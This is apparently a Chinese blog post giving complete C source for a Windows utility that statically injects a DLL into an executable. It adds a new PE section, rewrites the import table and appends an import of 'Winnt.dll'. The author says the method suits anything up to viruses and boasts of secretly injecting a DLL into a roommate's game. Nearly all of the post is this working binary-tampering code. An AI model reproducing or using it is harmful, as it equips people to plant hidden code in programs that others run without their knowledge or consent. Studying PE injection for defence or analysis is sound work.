至于可以做什么用? 从第三方插件(比如更改皮肤)到病毒。谁都不知道我在室友电脑的游戏程序里悄悄注入了怎样的 DLL。 应该能找到第三方库,然而我想要的是一个精简的实现,复制到U盘/软盘都可以足够快。
这段代码仅仅是从我的另一个程序中抠出来作个样例。稍作俢改便可用在其它项目中。
1 #define _WIN32 1 2 #undef _WIN64 3 4 5 #pragma comment(linker,"/merge:.data=.text") 6 #pragma comment(linker,"/merge:.rdata=.text") 7 #pragma comment(linker,"/SECTION:.text,ERW") 8 9 10 #include <fcntl.h> 11 #include <sys/types.h> 12 #include <sys/stat.h> 13 #include <io.h> 14 15 #include <stdio.h> 16 #include <stdlib.h> 17 #include <windows.h> 18 #include <winnt.h> 19 #include <commdlg.h> 20 /* 21 DLL静态注入 22 过程: 23 1. 新建一个Sector。 24 2. 把原来的Import Table指向的IMAGE_IMPORT_DESCRIPTOR结构数组复制到新的段中。 25 3. 在新的Import Table中加入自己的DLL 26 27 命名说明: 28 网络上常常把“节”,“段”,“块”不分,在此认为分别是Section,Segment,Block的翻译 29 以 RAW_ 开头的都是在文件的物理偏移 30 31 */ 32 33 34 long RAW_GetNTHeader(int fin){ 35 DWORD PE_Flag; 36 IMAGE_DOS_HEADER DosHeader; 37 if(lseek(fin,0,SEEK_SET)==-1)return -1; 38 if(read(fin,&DosHeader,sizeof(IMAGE_DOS_HEADER))!=sizeof(IMAGE_DOS_HEADER))return -1; 39 if(IMAGE_DOS_SIGNATURE!=DosHeader.e_magic)return -1; 40 if(lseek(fin,DosHeader.e_lfanew,SEEK_SET)==-1)return -1; 41 if(read(fin,&PE_Flag,sizeof(DWORD))!=4)return -1; 42 if(PE_Flag!=0x00004550)return -1;/*winnt.h中找不到定义的值,自己写*/ 43 return DosHeader.e_lfanew; 44 } 45 46 long RAW_AttachSection(int fin,PIMAGE_SECTION_HEADER pNewSectionHeader){ 47 /* 48 如果pNewSectionHeader->VirtualAddress==0则由函数指定 49 函数填充并返回pNewSectionHeader->PointToRawData 50 51 Warn: 52 函数可能会改变 *(pNewSectionHeader) 的 53 pNewSectionHeader->PointToRawData , SizeOfRawData 和 VirtualAddress 域 54 */ 55 #define WCRALIGN(GEGEBEN,NACH) \ 56 ((((DWORD)(GEGEBEN)%(DWORD)(NACH))?((DWORD)(GEGEBEN)/(DWORD)(NACH)+1):((DWORD)(GEGEBEN)/(DWORD)(NACH))) *(DWORD)(NACH)) 57 int i; 58 //DEBUG!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 59 char localBuffer[0x200]; //和无意义的填充文件. 60 IMAGE_NT_HEADERS NT_Header; 61 IMAGE_SECTION_HEADER localSectionHeader; 62 unsigned short NumberOfSections; 63 DWORD ImageBase,SectionAlignment,FileAlignment,SizeOfOptionalHeader; 64 long RAW_NTHeader,RAW_FirstSectionHeader,RAW_NewSectionHeader,RAW_NewSection; 65 RAW_NTHeader=RAW_GetNTHeader(fin); 66 if(RAW_NTHeader==-1)return -1; 67 //读取PE头 68 lseek(fin,RAW_NTHeader,SEEK_SET); 69 if(read(fin,&NT_Header,sizeof(NT_Header))!=sizeof(NT_Header))return -1; 70 71 //克隆本地数据 72 NumberOfSections=NT_Header.FileHeader.NumberOfSections; 73 ImageBase=NT_Header.OptionalHeader.ImageBase; 74 SectionAlignment=NT_Header.OptionalHeader.SectionAlignment; 75 FileAlignment=NT_Header.OptionalHeader.FileAlignment; 76 SizeOfOptionalHeader=NT_Header.FileHeader.SizeOfOptionalHeader; 77 //参照linux的内核链表结构结合winnt.h的做法,找到第一个节头的物理位置: 78 RAW_FirstSectionHeader=RAW_NTHeader+(long)(&((PIMAGE_NT_HEADERS)NULL)->OptionalHeader)+SizeOfOptionalHeader; 79 lseek(fin,RAW_FirstSectionHeader,SEEK_SET); 80 //先读入第一个节头,看看在第一个节前是否有足够的空间 81 //自己的程序中不用缓冲会导致速度变慢,但权衡程序的可扩展性后还是这么做了 82 if(read(fin,&localSectionHeader,sizeof(IMAGE_SECTION_HEADER))!=(int)sizeof(IMAGE_SECTION_HEADER))return -1; 83 //开始依次扫描区段,初始化: 84 RAW_NewSectionHeader=RAW_FirstSectionHeader+sizeof(IMAGE_SECTION_HEADER)*(NumberOfSections); 85 //offset=(PIMAGE_SECTION_HEADER)Buf; 86 //连一个多余的节头的空间都没有,会导致插入失败 87 if(localSectionHeader.PointerToRawData-RAW_FirstSectionHeader<sizeof(IMAGE_SECTION_HEADER)*(NumberOfSections+1))return -1; 88 //定位到最后一个节头: 89 lseek(fin,RAW_FirstSectionHeader+(NumberOfSections-1)*sizeof(IMAGE_SECTION_HEADER),SEEK_SET); 90 read(fin,&localSectionHeader,sizeof(IMAGE_SECTION_HEADER)); 91 //offset=offset+NumberOfSections-1; 92 if(localSectionHeader.VirtualAddress+WCRALIGN( localSectionHeader.Misc.VirtualSize,SectionAlignment)<pNewSectionHeader->VirtualAddress){ 93 pNewSectionHeader->VirtualAddress=WCRALIGN(pNewSectionHeader->VirtualAddress,SectionAlignment); 94 }else if(pNewSectionHeader->VirtualAddress==0){ 95 pNewSectionHeader->VirtualAddress=localSectionHeader.VirtualAddress+WCRALIGN( localSectionHeader.Misc.VirtualSize,SectionAlignment); 96 }else{ 97 return -1; 98 } 99 pNewSectionHeader->SizeOfRawData=WCRALIGN(pNewSectionHeader->SizeOfRawData,FileAlignment); 100 if(pNewSectionHeader->Misc.VirtualSize<pNewSectionHeader->SizeOfRawData)pNewSectionHeader->Misc.VirtualSize=WCRALIGN(pNewSectionHeader->SizeOfRawData,SectionAlignment); 101 //写入文件......................... 102 103 //在附加新的SectionHeader之前先定下新节的物理地址 104 RAW_NewSection=filelength(fin); 105 RAW_NewSection=WCRALIGN(RAW_NewSection,FileAlignment); 106 lseek(fin,RAW_NewSection,SEEK_SET); 107 for(i=0;(unsigned)i<(pNewSectionHeader->SizeOfRawData)/0x200;(unsigned)i++) 108 if(write(fin,localBuffer,0x200)==-1)return -1; 109 //附加上一个新的SectionHeader 110 pNewSectionHeader->PointerToRawData=RAW_NewSection; 111 lseek(fin,RAW_NewSectionHeader,SEEK_SET); 112 if(write(fin,pNewSectionHeader,sizeof(IMAGE_SECTION_HEADER))==-1)return -1; 113 //添加SectionHeader个数 114 lseek(fin,RAW_NTHeader,SEEK_SET); 115 NT_Header.FileHeader.NumberOfSections++; 116 NT_Header.OptionalHeader.SizeOfImage+=pNewSectionHeader->Misc.VirtualSize; 117 if(write(fin,&NT_Header,sizeof(NT_Header))==-1)return -1; 118 return RAW_NewSection; 119 #undef WCRALIGN 120 } 121 /*inline*/ long RVA_To_RAW(int fin,DWORD RVA){ //自己写的纠错能力不强的地址转换方法 122 #define MAX_NUMBER_OF_SECTIONS 50 123 IMAGE_SECTION_HEADER localSectionHeaders[MAX_NUMBER_OF_SECTIONS]; 124 IMAGE_NT_HEADERS NT_Header; 125 unsigned short NumberOfSections; 126 DWORD RAW_FirstSectionHeader; 127 int i; 128 129 long RAW_NTHeader; 130 RAW_NTHeader= RAW_GetNTHeader(fin); 131 if(RAW_NTHeader==-1)return -1; 132 lseek(fin,RAW_NTHeader,SEEK_SET); 133 if(read(fin,&NT_Header,sizeof(NT_Header))!=sizeof(NT_Header))return -1; 134 NumberOfSections=NT_Header.FileHeader.NumberOfSections; 135 //参照linux的内核链表结构结合winnt.h的做法,找到第一个节头的物理位置: 136 RAW_FirstSectionHeader=RAW_NTHeader+(long)(&((PIMAGE_NT_HEADERS)NULL)->OptionalHeader)+NT_Header.FileHeader.SizeOfOptionalHeader; 137 lseek(fin,RAW_FirstSectionHeader,SEEK_SET); 138 //先读入第一个节头,看看在第一个节前是否有足够的空间 139 //自己的程序中不用缓冲会导致速度变慢,但权衡程序的可扩展性后还是这么做了 140 if(read(fin,localSectionHeaders,sizeof(IMAGE_SECTION_HEADER)*NumberOfSections)!=(int)sizeof(IMAGE_SECTION_HEADER)*NumberOfSections)return -1; 141 if(localSectionHeaders[0].VirtualAddress>RVA)return -1; 142 for(i=0;i<NumberOfSections;i++){ 143 if(i==0)continue;//防止原来合并得只剩一个节 144 if(localSectionHeaders[i].VirtualAddress>RVA)break; 145 } 146 i--; 147 //当文件中对应的位置不存在时 148 if(localSectionHeaders[i].VirtualAddress+localSectionHeaders[0].SizeOfRawData<RVA)return -1; 149 //返回从文件开头的偏移 150 return localSectionHeaders[i].PointerToRawData+(RVA-localSectionHeaders[i].VirtualAddress); 151 } 152 153 154 155 156 157 long CloneImportTable_Attach(int fin,char *szDllName){ 158 #define MAX_NUMBER_OF_IMPORT_DESCRIPTORS 50 159 long offset,length; 160 long RAW_NewSection; 161 IMAGE_SECTION_HEADER NewSectionHeader; 162 IMAGE_NT_HEADERS NTHeader; 163 IMAGE_THUNK_DATA ThunkData[4]; 164 DWORD RAW_OldImportTable; 165 long RAW_NTHeader; 166 long NumberOfImportTable; 167 IMAGE_IMPORT_DESCRIPTOR Buffer_ImportTables[MAX_NUMBER_OF_IMPORT_DESCRIPTORS]; 168 //插入新节 169 NewSectionHeader.Name[0]=(char)'K';NewSectionHeader.Name[1]=(char)'u';NewSectionHeader.Name[2]=(char)'r'; 170 NewSectionHeader.Name[3]=(char)'t';NewSectionHeader.Name[4]=(char)'\0'; 171 NewSectionHeader.Characteristics=0xE0000060; 172 NewSectionHeader.Misc.VirtualSize=100; NewSectionHeader.NumberOfLinenumbers=0; NewSectionHeader.PointerToLinenumbers=0; 173 //暂时不支持重定位 174 NewSectionHeader.NumberOfRelocations=0; NewSectionHeader.PointerToRelocations; 175 NewSectionHeader.SizeOfRawData=200; 176 NewSectionHeader.VirtualAddress=0; 177 RAW_NewSection=RAW_AttachSection(fin,&NewSectionHeader); 178 if(RAW_NewSection==-1)return -1; 179 //clone输入表............. 180 RAW_NTHeader=RAW_GetNTHeader(fin); 181 lseek(fin,RAW_NTHeader,SEEK_SET); 182 read(fin,&NTHeader,sizeof(NTHeader)); 183 //第二项是 "Import Table" 184 if(NTHeader.OptionalHeader.DataDirectory[1].VirtualAddress==0)return -1; 185 RAW_OldImportTable=RVA_To_RAW(fin,NTHeader.OptionalHeader.DataDirectory[1].VirtualAddress); 186 lseek(fin,RAW_OldImportTable,SEEK_SET); 187 //被PE说明忽悠了,windows根本不在乎这个参数: 188 //NumberOfImportTable=NTHeader.OptionalHeader.DataDirectory[1].Size/sizeof(IMAGE_IMPORT_DESCRIPTOR); 189 if(read(fin,Buffer_ImportTables,MAX_NUMBER_OF_IMPORT_DESCRIPTORS*sizeof(IMAGE_IMPORT_DESCRIPTOR))==-1)return -1; 190 NumberOfImportTable=0; 191 while(1){ 192 if(Buffer_ImportTables[NumberOfImportTable].FirstThunk==0 193 &&Buffer_ImportTables[NumberOfImportTable].Name==0 194 &&Buffer_ImportTables[NumberOfImportTable].OriginalFirstThunk==0)break; 195 NumberOfImportTable++; 196 } 197 //加入新的动态连接库 198 //DLL文件名 199 offset=NewSectionHeader.VirtualAddress; 200 lseek(fin,RVA_To_RAW(fin,offset),SEEK_SET); 201 length=strlen(szDllName)+1;//length是二进制数据的长度,而不是字符串长度 202 write(fin,szDllName,length); 203 Buffer_ImportTables[NumberOfImportTable].Name=offset; 204 offset+=length; 205 //OriginalFirstThunk: 206 length=3; 207 write(fin,"\000\000\000",length); 208 ThunkData[0].u1.Ordinal=0x80000001; 209 ThunkData[1].u1.AddressOfData=0; 210 ThunkData[2].u1.Ordinal=0x80000001; 211 ThunkData[3].u1.AddressOfData=0; 212 /*ThunkData[0].u1.AddressOfData=(PIMAGE_IMPORT_BY_NAME)offset; 213 ThunkData[1].u1.AddressOfData=0; 214 ThunkData[2].u1.AddressOfData=(PIMAGE_IMPORT_BY_NAME)offset; 215 ThunkData[3].u1.AddressOfData=0;*/ 216 offset+=length; 217 write(fin,ThunkData,sizeof(ThunkData)); 218 Buffer_ImportTables[NumberOfImportTable].FirstThunk=offset+0*sizeof(IMAGE_THUNK_DATA); 219 Buffer_ImportTables[NumberOfImportTable].OriginalFirstThunk=offset+2*sizeof(IMAGE_THUNK_DATA); 220 offset+=sizeof(ThunkData); 221 //不重要的项 222 Buffer_ImportTables[NumberOfImportTable].TimeDateStamp=0; 223 Buffer_ImportTables[NumberOfImportTable].ForwarderChain=0; 224 NumberOfImportTable++; 225 //最后一项一定要为0 226 Buffer_ImportTables[NumberOfImportTable].TimeDateStamp=0; 227 Buffer_ImportTables[NumberOfImportTable].FirstThunk=0; 228 Buffer_ImportTables[NumberOfImportTable].ForwarderChain=0; 229 Buffer_ImportTables[NumberOfImportTable].Name=0; 230 Buffer_ImportTables[NumberOfImportTable].OriginalFirstThunk=0; 231 NumberOfImportTable++; 232 233 lseek(fin,RVA_To_RAW(fin,offset),SEEK_SET); 234 write(fin,Buffer_ImportTables,NumberOfImportTable*sizeof(IMAGE_IMPORT_DESCRIPTOR)); 235 lseek(fin,RAW_NTHeader,SEEK_SET); 236 NTHeader.OptionalHeader.DataDirectory[1].VirtualAddress=offset; 237 NTHeader.OptionalHeader.DataDirectory[1].Size+=sizeof(IMAGE_IMPORT_DESCRIPTOR); 238 write(fin,&NTHeader,sizeof(NTHeader)); 239 return 1; 240 } 241 int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLinene,int nShowCmd){ 242 int fin; 243 char filename[MAX_PATH]; 244 OPENFILENAME fn={0}; 245 fn.lStructSize = sizeof( OPENFILENAME) ; 246 fn.hwndOwner = HWND_DESKTOP; 247 fn.lpstrFilter = "程序文件\0*.exe\0" ; 248 fn.nFilterIndex = 0 ; 249 fn.nMaxFile = MAX_PATH ; 250 fn.lpstrTitle = "请选择目标应用程序:" ; 251 fn.lpstrFile = filename; 252 fn.Flags = OFN_FILEMUSTEXIST | OFN_PATHMUSTEXIST | OFN_EXPLORER ; 253 254 filename[0]=0; 255 if(!GetOpenFileName(&fn))return -1; 256 fin=open(filename,O_RDWR|O_BINARY); 257 if(fin==NULL)return 1; 258 259 260 if(CloneImportTable_Attach(fin,"Winnt.dll")==-1){ 261 close(fin); 262 return -1; 263 } 264 close(fin); 265 return 0; 266 }